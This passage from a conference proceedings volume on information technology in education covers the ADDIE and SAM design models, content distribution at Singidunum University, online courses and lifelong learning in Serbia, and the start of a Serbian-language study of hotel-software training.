This model has been primarily used for years to develop multimedia learning content, as other models also revealed some weaknesses in realisation. Probably the biggest problem with this model is the assumption that the author knows in advance all the requirements, or even before the development of the content, but these deficiencies are as follows [9]:

- 1. typical processes require an unrealistic and comprehensive analysis in advance,
- 2. Ignoring the policy of reality causes strong likelihood that vital resource will be missing and will use a high degree of improvisation in implementation,
- 3. The details of the process are set so that creativity presents an obstacle,
- 4. The inconvenience of dealing with errors or good ideas in the process,
- 5. The learning program is designed to meet the measured criteria (schedule, costs, pass), but it is not able to track behavioural change,
- 6. Post-tests provide little useful information that would help improve the teaching and learning process.

8. CONCLUSION

Even though it is widely represented in current teaching practice, both traditional and electronic teaching, ADDIE model is slowly losing the race against time. This acronym stands for the 5 phases contained in the model (Analyse, Design, Develop, Implement, and Evaluate). Over the years this model was primarily used for the development of multimedia content for learning, but also pointed to some weaknesses. Most of the current instructional design models are variations of the ADDIE process.

Contemporary requirements for the course in electronic form require great flexibility and adaptability to the needs of the target group of students. It is necessary to properly design/construct the course and accompanying educational materials in order to meet these requirements. One of the solutions that compete to succeed ADDIE model, especially in the field of e-learning and teaching is the SAM (Successive Approximation Model, formerly called SAVVY process) that includes prototyping. The success of SAM lies in the fact that it follows modern agile development principles. The most important difference is that SAM looks for iteration in development with repeated small steps and prototyping, instead perfectly executed big steps. Small, purposeful and iterative steps are facilitating analysis and evaluation processes that clarify pathways to successful design. This gives SAM advantage in respect of creation of performance-driven learning.

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INFORMATION TECHNOLOGY IN EDUCATION

CONTENT DISTRIBUTION IN EDUCATION SUPPORT SOFTWARE

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Abstract:

This paper discusses the application of modern information technologies to complement communication between educational institutions and students. Communication is important for development and improvement of the quality of the education system. In place of direct communication, educational institutions sometimes need to make additional educational materials available to students. Information technologies play an important role in distribution of these materials. Students have access to personalised and relevant information at any time, as well as many ways and opportunities to clarify any doubt in a quick, easy and efficient way. This paper explains multiple applications of the educational content distribution. It includes reviews of different web-based services, such as a video distribution platform, a portal designed for scientific research and an application for the Android operating system for delivery of different kinds of content of interest to higher education students.

Keywords:

communication in education, services, content distribution, personalisation, web.

1. INTRODUCTION

Content delivery, especially that of educational materials in higher education is important without question. Modern methods for content delivery or distribution among teachers and students include file sharing over the global computer network - Internet. It is hard to find the exact origin of the idea of content or data delivery and distribution, but important research and development of this topic was done by the United States Advanced Research Projects Agency (ARPA) in 1957. ARPA's primary goal was to perform and examine extensive scientific research and apply it for military purposes. In 1961, Leonard Kleinrock published a paper [1] which proposed the use of packets of data, which would be sent between computers. First steps towards the creation of computer networks capable of exchanging data in this way were made in 1962, when ARPA set itself the task of implementing the concept of data packet transmission. As a result, ARPANET was created in 1969 [2]. This network consisted of four nodes, located at University of California in Los Angeles, Stanford University, California, University of California in Santa Barbara and

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University of Utah. Each node was one computer in each of these universities. By the year 1972, there were a total of 32 nodes [3]. At this time, the first form of private messaging appeared. Today, we call this form of message exchange as e-mail [4]. Not long after the introduction of private mail exchange services on this network, its potential for civil society was recognised. Because of this, this single network was divided into two in 1983. The first remained ARPANET and was reserved for civil use, while the newly formed MILNET was reserved for military use [5]. Even before this time, diversification of use of the original ARPANET resulted in the need for a more robust communication and data exchange protocol. In 1973, a standard for data transfer called TCP/IP protocol was developed [6]. The TCP/IP protocol, especially the method of addressing computers within the network, was crucial for spreading of this network. IP addressing allowed for growing an ever-more complex network. Growing number of interconnections have allowed for new network services to occur [7]. Many of these services allow users to exchange files of different types containing text, images, videos, audio recordings etc. Universities were the first to use the global computer network, now known as the Internet, and they still use it, predominantly for communication, scientific research cooperation and most importantly, as a support tool for their educational work. This paper will focus on Internet based services whose aim is to support education and learning. In this paper, we present use case reports of Internet based services implemented by Singidunum University.

2. THE POTENTIAL OF THE INTERNET FOR CONTENT DISTRIBUTION

In the last decade, the amount of data generated by humanity over the course of a single year continues to grow exponentially [8]. Statistics showed that in the year 2005, all generated content had the size of 150 Exabytes or $1.5 \cdot 10^{20}$ bytes. In 2015 its size was 1700 Exabytes or $1.7 \cdot 10^{21}$ bytes. It is estimated that by the year 2020 all data ever generated will have reached the size of 44 Zettabytes or $4.4 \cdot 10^{22}$ bytes [9].

Along with the growth of the gross amount of data available on the Internet, with the advancement of information technologies, it is more accessible than ever before in the history of humanity and faster than it was ever possible.

To illustrate this, take a look at the list of technologies and the time it took for it to reach a total of 50 million users [10].

- The telephone 75 years;
- The Radio 38 years;
- Television 13 years;
- The Internet 4 years;
- Facebook 3 and a half years;
- The iPod 3 years;
- Angry birds (game) 35 days.

It is clear that information technology and especially the Internet have great potential for delivering content to a great number of people world-wide. This can be seen through the success of Internet applications such as social networking portals and similar content sharing services.

Personalisation of content delivery in electornic media

Using electronic media to communicate with the target group allows the sender greater efficiency than traditional media [11]. This, as well as the potential of the Internet were recognised by Singidunum University and have helped orient it to modern information technologies. These technologies are applied in providing educational content mainly to its students, as well as for the public, because much of the content is made publicly available free of charge via different web services.

3. CONTEMPORARY CONTENT DISTRIBUTION SERVICES

In this chapter, reviews of different Internet based content distribution services and the method, form and scope of their implementation at Singidunum University are given.

Electronic mail (E-mail)

Electronic mail (e-mail) is a form of data exchange accomplished via computer network communication systems. E-mails were initially used for transfer of text from one person (sender) to one or more recipients. E-mail is exchanged in the form of ASCII encoded text, but other encodings are also possible. Aside from text, e-mails can be used to send any other type of file. Files are sent using the base64 encoding [12], in a specified format within the message body [13], as MIME content [14] [15] [16]. Today, e-mail remains the most popular communication service in business environments [17].

Singidunum University uses e-mail services from two different webmail service providers. The faculty and

the administrative staff use Google Mail services [18]. Students use Microsoft's Outlook 365 Education services [19]. E-mail services are widely used by both the faculty and students. Between 50,000 and 70,000 e-mails are exchanged between students and the faculty.

Electornic payment systems

Electronic payment systems are an important part of contemporary e-commerce systems, such as web shops. The form of electronic commerce systems used today was not known before 1995. After the Amazon Company started its Internet based shop, there has been a steady growth of Internet sites providing this way of shopping [20]. Early sites did not provide a method to order and pay for items on-line. Customers could only make orders which were then processed by the staff. As payment systems have become more secure over the years, their application found way into e-shops [21].

Singidunum University does not have an e-commerce website, but it implements an electronic payment system. This system is currently in the final stages of implementation and will be deployed in April 2017. Students can use this electronic payment system to transfer funds required for exam registration or to request issuing of official documents about their student status etc. Currently, there is no statistics available since the system is yet to enter into service, but it is expected to become popular. This is because the usual method of transferring funds takes one or two business days, depending on the method of payment, while this system will allow for instant transfer of funds on-line, without having to go to the bank or the postal office to initiate cash transfer.

Social networks

Social networks are becoming ever more popular [22]. Many companies are realising that presence on social networks is as important nowadays as presence on the Internet was only a short while ago [23]. The basic idea behind social media is to allow any two people, wherever they may be at the given time, to connect through a chain containing a limited number of intermediaries [24]. Social media helps to connect different individuals and communities [22].

Singidunum University recognises the importance of social networking and presence on social networks. It implements best practices suggested by different sources [25] [26] [27], which are analysed and practically used by its Internet marketing and public relations team. Currently, the primary social network which Singidunum University uses is Facebook, as it is the most popular social network in the world [28] with over 1.86 billion active users world-wide [29] and nearly 3 million users in Serbia [30].

Implementation of different suggested strategies has resulted in over 137,000 followers of Singidunum University's Facebook page at the time of writing this paper, as well as a total of over 138,000 people who have liked content published by Singidunum University on Facebook.

Services for file Sharing

There are many different implementations of web based services whose aim is to allow users to share files with other users on the Internet. Some services are designed for public access while others require uses to be authenticated [31]. Aside from specialised file sharing services, there are web application platforms that can be adapted for this purpose.

Singidunum University hosts a web service called Course Pages which are used to deliver educational materials for all courses taught at all integrated faculties. These materials include presentations, scripts, additional lesson materials, free electronic publications, etc. Course Pages are created using the Moodle learning platform. It is an open-source integrated system for creating personalised learning environments [32] that offers many features [33]. Main features exploited for the creation of Course Pages are Forum Activities [34] and Folder Resources [35]. The Course Pages were created in 2012 and contain a separate course page for every course taught at the university. Professors are assigned different roles, such as the Teacher and Assistant Teacher role for courses which they teach. All content is publically available for viewing and downloading to students without the need to sign in. These materials are available in read-only form to these users. Each course is divided into three main sections for different content. The first section contains basic information about the course, such as the course syllabus, contact details for the teacher and the teaching assistant, the course schedule and the timetable of important dates etc. Also, it includes two forum sections. The first one is for general notifications that the teacher and the teaching assistant can post and the second is for publishing results of tests, exams and student projects. The second section is reserved for materials from lessons divided into folders containing materials for the first mid-term, the second mid-term, the final exam and for additional materials.

The third section has the same structure as the second, but it is reserved for materials from practical or laboratory lessons. The syllabus article contains information about topics covered by the course, as it is registered in the accreditation documentation approved by the Ministry of education. All materials are publically available, without any restrictions.

Electronic encyclopaedias

An encyclopaedia is defined as a volume or a collection of volumes that attempt to pull together and present the entire knowledge of humankind in one comprehensive work [36]. Encyclopaedias are supposed to be complete compendium of knowledge. Yet, there also exist specialised encyclopaedias, which focus on a particular field or domain [37]. Compared to printed encyclopaedias, electronic encyclopaedias have an advantage of being much easier to update. Instead of periodically printing complementary volumes to update or correct the knowledge assembled in previous volumes of the same collection, electronic encyclopaedias can be instantly updated and can also use hyperlinks to reference other sections, topics, definitions contained within it. As mentioned before, knowledge in encyclopaedias is structured.

However, there are collections of knowledge which is not organised and structured as an encyclopaedia, where a term is defined in a short concise manner. Instead, an entire paper is dedicated to the topic. These kinds of collections cannot be considered encyclopaedias or even specialised encyclopaedias, and they are not proper libraries of documents as well. Singidunum University's Singipedia portal is one of these collections of knowledge, whose name suggests a relation to encyclopaedias, but in reality functions more closely to how libraries do. Singipedia is a web based scientific research portal dedicated to promoting and helping the spread of scientific research via publically providing free access to student theses (bachelor, master and doctoral level), Singidunum University's publications such as books, fulltexts of scientific papers presented at scientific conferences organised, supported and sponsored by the University and published in conference proceedings, as well as papers published in the University sponsored and supported scientific journals [38]. There are three major sections of the Singipedia portal, which include the section for the University's textbook publications, the repository of students' theses and the repository of published scientific papers in journals and conferences.

The Books and textbooks (Professional literature) section provides complete electronic editions of textbooks published by the University. Anyone can download electronic copies of these books, free of charge. At the time of writing this paper, there were 242 published books available for download and they have been downloaded a total of 1,084,783 times.

The repository of student theses contains electronic copies of doctoral, master, magister and bachelor theses of the University's students, as well as selected seminar essays of undergraduate students.

Paper category	Number of papers	Number of downloads		
Doctoral disertations	149	101.505		
Master's theses	1.081	1.195.349		
Magister theses	56	64.423		
Bachelor theses	128	254.432		

Table 1. Student theses number and download statistics

Table 1. shows how many papers were published in each category as well as the total number of downloads of papers from each category.

The repository of scientific papers published in conference proceedings and scientific journals contains papers from eight scientific conferences. Five of those conferences are organised or sponsored by Singidunum University. The Singipedia portal does not allow users to download whole conference proceedings, but only individual papers.

Distribution of video content

Distribution of video content on the Internet is currently mostly associated with web services such as You-Tube and Vimeo. However, the first web service that offered hosting of video clips was shareyourworld.com. It started in 1997, but lasted for only four years, when it closed due to costs and bandwidth problems. It worked with a single file format, popular at the time [39]. Videos are a popular format for education on the Internet [40]. Singidunum University has recognised this and has made video lectures available to employed students who cannot always come to classroom lectures. The video platform is called vPLUS. It is directly connected to the University's information system in order to confirm if the authenticated student has delivered proof of employment from the employer in order to be granted access to recorded video materials. Students from a certain faculty have access to video recordings for all lectures of all courses at their faculty, for both semesters. Video materials are scripted and recorder by teachers and teaching assistants for both the theoretical and practical part of the course. Practical video lessons tend to be longer and more extensive, covering additional materials, while theoretical lessons tend to be shorter and give more of an outline for self-study. Some course materials are made publicly available outside of the vPLUS platform for video content distribution. YouTube is predominantly used in such cases. Teachers can decide on their own if they wish to publish their video lectures publically via YouTube or leave it within the vPLUS platform.

Most videos are recorded in advance in order to be edited and prepared by the IT centre's video editing team. All videos are published minimum three weeks prior to mid-term exams and final exams so that students can have enough time to prepare for tests, exams or to finish their assigned projects on time. The vPLUS platform logs extensive information about the way it is used. From these logs, teachers and the faculty administration can review how frequently and how long certain videos are being watched as well as which student has finished watching certain lessons. This information is not available when services such as YouTube or Vimeo are used, because they cannot track which student has been watching the video. The video editing staff can review watch logs and see at which point a certain video was frequently paused or re-watched. This information can help find problems in the video or in the way a certain part of the lesson was delivered, so that it can be fixed. This approach significantly contributes to the improvement of these teaching materials for current as well as for future generations.

4. CONCLUSION

Given the importance of content distribution in education, it is important to handle it in the correct and efficient manner. Modern information technology helps. In this paper, we have shown that educational institutions can provide good quality learning materials as well as materials for scientific research, such as previous research reports, theses, books, conference and journal articles etc. to students and the general public. By using this approach, educational institutions promote sharing of research and learning materials. However, they also support transparency, which in turn helps increase research quality and the availability of relevant work that will be done and whose results will be published in the future. This paper explains Singidunum University's implementation of these principles coupled with information technologies to provide functional web services that support education and research.

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

INFORMATION TECHNOLOGY IN EDUCATION

ONLINE COURSES AND THEIR IMPACT ON FORMAL EDUCATION AND EDUCATION OF ADULTS

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Abstract:

In this paper we will present basic definitions of online courses. The impact of such courses on formal education will also be presented. One of the goals of this paper is to define online courses as a possibility for adult education and lifelong learning as such. The importance of creating a national platform for online education will be pointed out. A proposal defining the platform and communication will also be presented in this paper.

Keywords:

online course, online education, adult education, lifelong learning.

1. INTRODUCTION

We are aware that the obsolescence of knowledge is very short nowadays. In some technologies it is even shorter than a year. Therefore, being intellectuals we have to improve our knowledge regularly.

New information and communication technologies offer us a way which can be available to everyone.

The development of distance learning allows us to create courses in the web-based environment that can significantly improve our knowledge.

A lot of high schools and universities, especially in developed countries, implement distance learning in their systems. Developed countries have also adopted a strategy for distance learning.

We will present National documentation which is developed and adopted in Serbia regarding the development of learning and adult education.

Our goal is also to demonstrate that lifelong learning is not only intended for older people.

2. E-LEARNING

Any kind of teaching in which we use ICT can be catogorized as elearning. Almost all universities and faculties have implemented some kind of distance learning system trying to provide better student- professor communication and overcome cost difficulties for campus students.

There are a lot of different ways of transferring knowledge nowadays, from face to face classic courses to various e-learning platforms. New IC technology allows us to have a new approach in learning. In developed countries like America and in all European countries e-learning in some way dominates as learning practice.

We are witnesses that in these countries even a K12 , high and particularly higher education are dependent on computer and communication technologies.

Various types of e-learning systems are implemented. We can differentiate these ways of implementation:

- Classroom course most of the course is implemented in the classroom using computer technologies as a teaching tool where students can try virtual laboratories, simulations etc.
- Synchronous distributed course- these courses are based on web technologies and intended to improve classic lecturing. They are often based on video conferencing.
- Web enhanced course in this type of course students must complete the defined task using the Internet technologies.
- Blended classroom course these kinds of courses assume that some part of face to face lectures will be replaced by online activities.
- Blended online course these courses are similar to the previous ones but the online activities are used in much bigger percentage.
- Online course all required activities are done online. There are no face to face lectures.

The most common learning systems are blended courses, but better schools with good technological equipment and educated staff organize online courses.

3. ONLINE COURSES

According to a previous definition online courses are based on online activities, and they allow a participant to choose the time and the place, i.e. when and where he or she wants to participate in a course. This is very significant for participants and for organizers of courses.

If the organizer of a course is a school or university, during this course it can use its staff or material resources (classrooms) for other activities (another face to face classes). This fact is very attractive to every school. Good environment, good technical opportunities and good quality of staff are evidently an advantage. Of course, the strategy of the society also plays an important role. Highly defined societies take more advantages from new technologies.

Such courses allow students to organize their time in a better and more efficient way. Students can choose when and where to listen to a lecture (at home, in a dorm, in a library or maybe in a coffee shop if they want). This is a great feature because the system of campus does not primarily mean living and studying any more. You can study from home, from a different town, even from a different country. The number of these students can rise and can improve the material and technical level of schools and universities. The tuition for these students is significantly smaller than for classical students. We have also noticed that a lot of higher schools and universities are opening e-learning online courses to support adult population.

These courses can even be attended by students who are not formally enrolled in that school. In fact a very large number of social and educational organizations create online courses in order to improve people's way of living. They teach foreign languages, art, social activities, how to use social networks in communication, elementary software etc. This is the best way of implementing online courses for lifelong learning.

4. COURSE ORGANISATION

When a person or an organization decides to open an online course or courses, they have to make several serious decisions.

First they have to define the theme and the object of the course and then to decide which goals are to be achieved.

Of course, marketing needs to be on a high level in order to make participants interested in such a course.

The way of communication and transfer of information must be well defined. A protocol of security has to be well designed, too.

Learning management system must be chosen in a proper way.

Some organizers choose the existing platforms to present and teach a defined course.

5. LEARNING MANAGEMET SYSTEMS (LMS)

In educational environment there are several well known and developed learning management systems for online courses. Some of them are commercial but some are open source. What is Learning management system? It is a software which has a goal to present documentation, administrative communication, track the presence of participants in their sessions, evaluate scores and create a report of realized activities. There is a very large number of Learning management systems.

In our environment MOODLE and CANVAS are most popular but in global educational market BLACKBOARD has more participants. Adobe activate prime is the most popular LMS in America. Almost all their administration use this LMS.

The main difference is that Blackboard, Moodle and Canvas are often used even in formal education at universities and high schools.

Moodle platform is most frequently implemented in formal education in Serbia. For informal learning, organizers often offer courses mounted on individual web sites. There are a lot of sites organized by known universities that provide courses or a bundle of courses for informal learning.

Coursera, Edx, Udacity are the most known sites for such purpose.

Our research shows that the defined platform (site) for online courses and education of national interest does not exist in Serbia.

There are a lot of individual sites with online courses but there is not the defined global strategy.

6. LIFELONG LEARNING IN SERBIA

During the course of this work we were analysing online courses as instruments of formal learning. But the application of these courses can be much more useful.

Online courses can be the basics of informal learning in any way.

All national strategies incuding Serbian include the prediction of informal and lifelong learning.

In Serbia, national strategy of adult education was adopted in 2005 but the law regarding adult education was adopted in 2013.

Europe has a strategy of lifelong learning which was adopted in 1977. According to the research results over 15 percent of adults older than 65 use some kind of course for personal education. When our country is concerned, there is no credible information about the number of participants.

A period of knowledge obsolescence is nowadays less than 3 years ago. In some technologies it is even shorter. So everyone who has gained formal education needs to participate in informal education or lifelong learning. When we say lifelong learning we think of adult education but in a way which is different from their formal education.

Based on our experience, lifelong learning could be any learning different from formal education that a person can get, regarding his /her age. For example, if you are a metal worker and you learn something about bookeeping it can also be categorized as lifelong learning.

The research indicates that if courses are concertrated on one or few sites, the potential participants will find the course with the subject of their interest more easily.

After our research we suggest that the state should make an effort in creating LMS and the site for adult education. In addition, the education through this platform should be free of charge and massive. We do not think that the age boundary has to be high. Middle aged people should be involved in this kind of education as well. They need basic computer literacy so that they could join any course they are interested in. The level of knowledge and work qualification should be better, which is good for all employers and the country in general.

7. BELGRADE POLYTECHNIC EXPERIENCE

In Belgrade polytechnic school (Politehnika) there were significant efforts in implementing E-learning system. We started with some digital publications in addition to our classical lessons. Students reacted very positively to this action.

The next step was implementing Moodle platform in several school subjects. Professors created lectures, tests, colloquiums etc. The achieved results were expected but there was no significant improvement in students' success. Basically, students had the same level of success as students who were in a face to face program. But after some analysis we were satisfied because some material savings were made and we also gained education for our teaching staff.

We continued using steps to improve e-learning. The implementation of video lectures into our site made a difference in increased throughput on subjects. Throughput has risen for about 15%.

In the last two years we have implemented g-mail server for all our students and we have also implemented Google Education learning system.

Trails system is made on courses which cover computer science. The result is satisfactory. We still have small proplems in implementation but overall, everything is working. We use G-Drive, G-Docs, Google Classroom, Google Forms and other google applications plus BigBlueButton as software for online streaming.



Fig. 1. Google Education applications

The group of students that we were monitoring in this project had to complete all assignments online. For homework assignment we used Google classroom. We created lessons. In these lessons we implemented all necessary materials (documents, slides, video etc..., and we also implemented a homework assignment).



Fig. 2. Lessons in Google Classrom

The monitored group was chosen randomly. The achieved results were good.

The problems we encountered were technical. The speed of Internet connection was generally low, especially our upload of data. As a solution to this problem we created small groups of students that participated at the same time. We also changed the speed package of the Internet. We have noticed that education of teaching staff is needed if we want to improve this kind of education. As a member of group of schools we participate in the European project of Waste management and as a part of this project, whose goal is to improve people's awareness of the significance of waste management, we are creating an online course for anybody who is interested in that matter. This course will be launched on the Internet in the second half of this year. The expectations are high.

We use Google Classroom as a primary software and we will show several key steps how Classroom works.

First you create a class.

Create clas	s	
wamppp 1		
vrste otpada		
uvod u upravljanj	e otpadom	

Fig. 3. Screen of creating class

Then a professor enters a class to insert a post and assigments to students

	wamppp 1 vrste otpada
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erreas Incomentaria (18	

Fig. 4. Screen of created class

For the assignment of tasks and definition of post we use the menu on the right side of the screen.





When everything is defined the invitation of students follows.



Fig. 6. Invitation of student screen

After this step students get a message with a link to the class. Students can download all materials and when they finish the assignment they answer the questions. They get grades and after that they pass to another class. It is not necessary that students submit their homework in the order of classes.

This course will be one of many courses which we plan to offer to open population of users, not only to students. In that way we plan to engage schools in the program of lifelong learning.

8. CONCLUSION

This paper shows results of research of online courses and their possibilities in formal and informal education. It has just scratched the surface of this subject.

The prospects of using online courses are very promising and everyone should think how to engage in such a thing in the future.

Platform of informal education including lifelong learning based on national interest will be a great step for all the people who want to be active even in the old age.

We hope that such idea will find its way to a state government and will be implemented in the next national strategy.

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PERCEPCIJA STUDENATA O ZNAČAJU OBUKE IZ HOTELSKIH INFORMACIONIH SISTEMA TOKOM STUDIJA

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Rezime:

Jedan od osnovnih ciljeva visokog obrazovanja iz oblasti hotelijerstva jeste osposobljavanje studenata za budući rad u privrednom sektoru. U tom smislu, globalno se insistira na praktičnom radu tokom studija u relevantnim ugostiteljskim objektima. Dodatni način osposobljavanja studenata za budući rad jeste prilagođavanje kabinetske nastave zahtevima tržišta, prvenstveno u oblasti informacionih tehnologija i marketinga. Osnova rada jeste istraživanje sprovedeno među studentima hotelijerstva i turizma (n=100), koji u okviru predmeta Hotelska prodaja i recepcijsko poslovanje, na Prirodno-matematičkom fakultetu u Novom Sadu, prolaze obuku za rad u softveru za upravljanje hotelom Micros-Fidelio Suite 8. Cilj rada jeste prikazivanje percepcije studenata o značaju ovakve obuke za sticanje praktičnih veština i kompetencija za rad u hotelijerstvu, kao i za unapređenje kvaliteta studija. Rezultati rada ukazuju na visok stepen svesti studenata o značaju sticanja praktičnih znanja tokom studija u cilju ličnog usavršavanja i konkurentnosti prilikom zapošljavanja. Takođe, prikazana je uspešnost obuke u zavisnosti od pola ispitanika i njihovog usmerenja na studijama.

Ključne reči:

obrazovanje, kvalitet studija, percepcija studenata, hotelijerstvo, Micros-Fidelio Suite 8.

Obrazovanje

Obrazovanje je najčešće osnov uspeha u životu, ono priprema i osposobljava ljude za rad. Ako se kroz visoko obrazovanje ne mogu osposobiti ljudi za rad, onda bi se moglo postaviti pitanje zašto da se ono finansira ili zašto da se studenti uopšte opredele za studiranje. Formalno obrazovanje uglavnom nije dovoljno da mladim ljudima pruži sva neophodna znanja pre nego što se zaposle i započnu svoju radnu karijeru.

Obrazovni sistem mora stalno da se menja jer se znanja stalno obnavljaju i inoviraju [1]. Svakako, visoko obrazovanje mora pratiti potrebe tržišta i poslodavaca [2]. Poslodavci očekuju radne sposobnosti i praktično znanje od potencijalnih radnika, dok s druge strane, studenti očekuju da steknu potrebna znanje i veštine tokom studija koje će im olakšati pronalaženje posla. Stoga, visoko obrazovanje koje implementira praktičan rad upravo stavlja akcenat na unapređenje kvaliteta studija, odnosno osposobljenosti studenata za rad tokom i nakon završetka studija. Pojedini autori izražavaju sumnju u razvoj obrazovnog sistema u smislu implementiranja praktičnog rada i sticanja neophodnih veština koje treba da odgovore na konstantan i dinamičan razvoj turizma i hotelijerstva [3].

Na Departmanu za geografiju, turizam i hotelijerstvo, Prirodno-matematičkog fakulteta u Novom Sadu, prepoznata je neophodnost sticanja praktičnih znanja tokom studija u cilju osposobljavanja studenata za budući rad. Stoga se insistira na praktičnoj nastavi u turističkougostiteljskim objektima, kao i na savladavanju rada u softverima za vođenje istih (npr. Micros-Fidelio Suite 8).

Hotelske informacione tehnologije (HIS)

Nagli razvoj tehnologije i primena u hotelijerstvu doprineo je promeni tradicionalnog hotelskog poslovanja, odnosno automatizaciji brojnih procesa koji su olakšali svakodnevne aktivnosti hotelijera s jedne strane, i unapredili kvalitet usluge, s druge strane.

Svakako, primena ovih tehnologija varira u zavisnosti od veličine i tipa ugostiteljskog objekta. U vezi sa tim, kategorija hotela i dodatne usluge koje se u njemu pružaju, takođe će uticati na obim primene informacionih tehnologija. Ne treba smetnuti s uma da profil gostiju takođe ima važan uticaj na odabir i primenu informacionih tehnologija, posebno u hotelima sa izgrađenim brendom.

Primena informacionih tehnologija se u velikoj meri primenjuje u cilju zadovoljenja potreba gostiju. U vezi sa tim, informacione tehnologije koriste se pri prijavi i odjavi gostiju, za VoD (*video on demand*), internet i druge poslovne aktivnosti putem interaktivnog TV prijemnika i sl. [4].

Ovakva tehnološka rešenja uticala su na znatna poboljšanja u radu, posebno u okviru hotelskih lanaca:

- poboljšanje operativne efikasnosti;
- olakšanje kontrole poslovanja;
- prikupljanje, arhiviranje i upotreba potrebnih informacija;
- sačinjavanje i realizovanje marketinških, prodajnih i operativnih izveštaja;
- poboljšanje marketing istraživanja i planiranja poslovnih operacija;
- evidentiranje i praćenje hotelskih gostiju;
- direktan marketing i posebne usluge za redovne goste;
- poboljšanje u domenu rezervacija, prodaje i naplate [5].

Property Management Systems (PMS)

Sistemi za upravljanje poslovnim operacijama (*Property Management Systems*) mogu se koristiti u oblasti nekretnina, logistike, proizvodnje, intelektualne svojine i u hotelijerstvu. To su kompjuterizovani sistemi koji softverom olakšavaju sve vrste upravljanja u pomenutim oblastima. Pojavili su se kao zamena zastarelih, papirnih metoda koje su naginjale da postanu glomazne i neefikasne [6].

U hotelijerstvu, PMS (npr. Micros-Fidelio Suite 8) je softver koji se koristi za automatizaciju poslovanja hotela. Nekada se veliki broj recepcionerskih radnji obavljao ručno. Danas je najveći broj tih radnji pojednostavljen zahvaljujući PMS-u. Ovakav sistem bazira se na informisanju gostiju, upravljanju poslovnim aktivnostima i umrežavanju svih poslovnih aktivnosti i funkcija u hotelu (recepcija, domaćinstvo, sektor hrane i pića, marketing i dr.) [7]. PMS doprinosi efikasnijem radu recepcije tako što isključuje mogućnost da se neka od recepcionerskih radnji ponovi i omogućava brz i tačan pristup informacijama. Poboljšava efikasnost rada, olakšava kontrolisanje baza podataka, smanjuje broj zaposlenog ljudstva i vreme koje je potrebno da se odgovori na zahteve klijenata i zaposlenih.

U novije vreme raspoloživi su mnogobrojni PMS, a hotelske kompanije se prvenstveno opredeljuju za neki na osnovu veličine i tipa objekta, potreba hotela povezanih sa profilom gostiju, odnosno na osnovu tržišne opredeljenosti, tehničkih mogućnosti koje pruža PMS i njegove kompatibilnosti sa drugim IT, dostupnosti na tržištu i cenovnog ranga ovakvog softverskog rešenja. Trenutno su na tržištu najzastupljenije PMS kompanije Oracle, Opera i Micros-Fidelio Suite, koji je nedavno promenio naziv u Oracle Hospitality Suite. U Tabeli 1 prikazani su najzastupljeniji sistemi koji se mogu naći na tržištu.

Micros-Fidelio

Micros-Fidelio je nastao partnerstvom dve kompanije: Micros System iz SAD, i Fidelio iz Nemačke.

Micros je lider u razvoju informacionih sistema za restoransko poslovanje, koji uključuju i hardver i softver za POS i operativne aplikacije, a razvija i back office sisteme koje uključuju upravljanje zalihama, finansijama i kadrovima.

Fidelio omogućava hotelima i lancima hotela (bilo koje veličine i tipa), restoranima, organizatorima krstarenja i konferencija, ketering kompanijama da digitalizuju sve svoje operacije i integrišu glavne industrijske softverske proizvode kroz analizu individualnih zahteva.

Micros-Fidelio sistemi su najfunkcionalniji sistemi tog tipa na današnjem tržištu. Sa preko 50000 instalacija širom sveta, Micros-Fidelio sistemi mogu se naći u hotelima od 4 do 1000 soba.

Fidelio Verzija 8 je kompletno integrisan, fleksibilan softverski paket, dizajniran da maksimalno poveća efikasnost hotelskog poslovanja. Sistem sadrži sve funkcije za dnevno poslovanje hotela, uključujući i sve aspekte hotelskog menadžmenta i održavanja. Podržava sve zahteve hotelijerstva, od osnovne usluge, do kompleksnih i luksuznih usluga. Fidelio Verzija 8 baziran je na Oracle* tehnologiji, integrisan, veb orijentisan. To je prilagodljiv softverski paket, parametarski orijentisan [9].

PMS	Broj komitenata	Broj korisnika
Oracle	26000	104000
eZee Technosys	6000	91000
InnQuest	5500	70000
Hotelogix	1150	22000
MSI	5800	21000
Frontdesk Anywhere	1400	18000
Guestline	3000	10000
RDP	1000	22000
GuestTracker	2500	10500
Open Hotel	78	35000
BookingCenter	1835	7800
Hotello	350	12250
base7booking	613	7315
Maestro	430	10000
WebRezPro	900	4500
RoomKeyPMS	800	7200
IQware	325	10245
ibelsa	830	3320
Easy Innkeeping	600	9000
Clerk	246	836

Tabela 1. Prikaz najzastupljenijih PMS u hotelijerstvu. Izvor: [8].

1. METODOLOGIJA

Istraživanje je sprovedeno u martu 2017. godine na Departmanu za geografiju, turizam i hotelijerstvo, a u njemu su učestvovali studenti hotelijerstva i turizma (n=100), koji u okviru predmeta Hotelska prodaja i recepcijsko poslovanje prolaze obuku za rad u softveru za upravljanje hotelom Micros-Fidelio Suite 8. Istraživanje je sprovedeno onlajn pomoću upitnika koji su kreirali autori rada.

2. REZULTATI RADA

Od ukupnog broja ispitanika, 77% čine žene, a većina ispitanika je sa smera hotelijerstvo (69%), dok je 31% ispitanika sa smera turizam.

Na pitanje: *Da li ste imali priliku da koristite drugi softverski paket osim Fidelia Suite 8?* svega 16% ispitanika odgovorilo je sa da, a programi koje su koristili su 2D-Hotelijer, EHotel, Hotel Soft, Hotelijer, Opera. Takođe, svega 23% ispitanika bilo je upoznato sa softverskim paketom Fidelio Suite 8 pre obuke na fakultetu.

U Tabeli 2 prikazane su srednje vrednosti odgovora na tvrdnje u vezi sa značajem obuke iz Micros-Fidelio Suite 8 tokom studija. Iz Tabele se vidi da su studenti uglavnom pozitivno ocenjivali tvrdnje u vezi sa korišćenjem ovog softvera kao sastavnog dela nastavnog plana i programa (srednje vrednosti su uglavnom preko 4). Nešto nižu srednju vrednost odgovora možemo uočiti kod pitanja: Pojedini simboli koji postoje me zbunjuju, nisu dobro predstavljeni i Sve opcije ovog sistema su lake za savladavanje, što govori o tome da pojedinim studentima nije toliko lako da savladaju program, iako smatraju da je to za njih značajno. Takođe, veoma mala srednja vrednost (M=2) odgovora na tvrdnju: Smatram da je obuka za korišćenje ovakvih softvera nepotrebna na fakultetu govori o tome da student uviđaju korisnost i značaj ove obuke. Rezultati su prikazani u Tabeli 2.

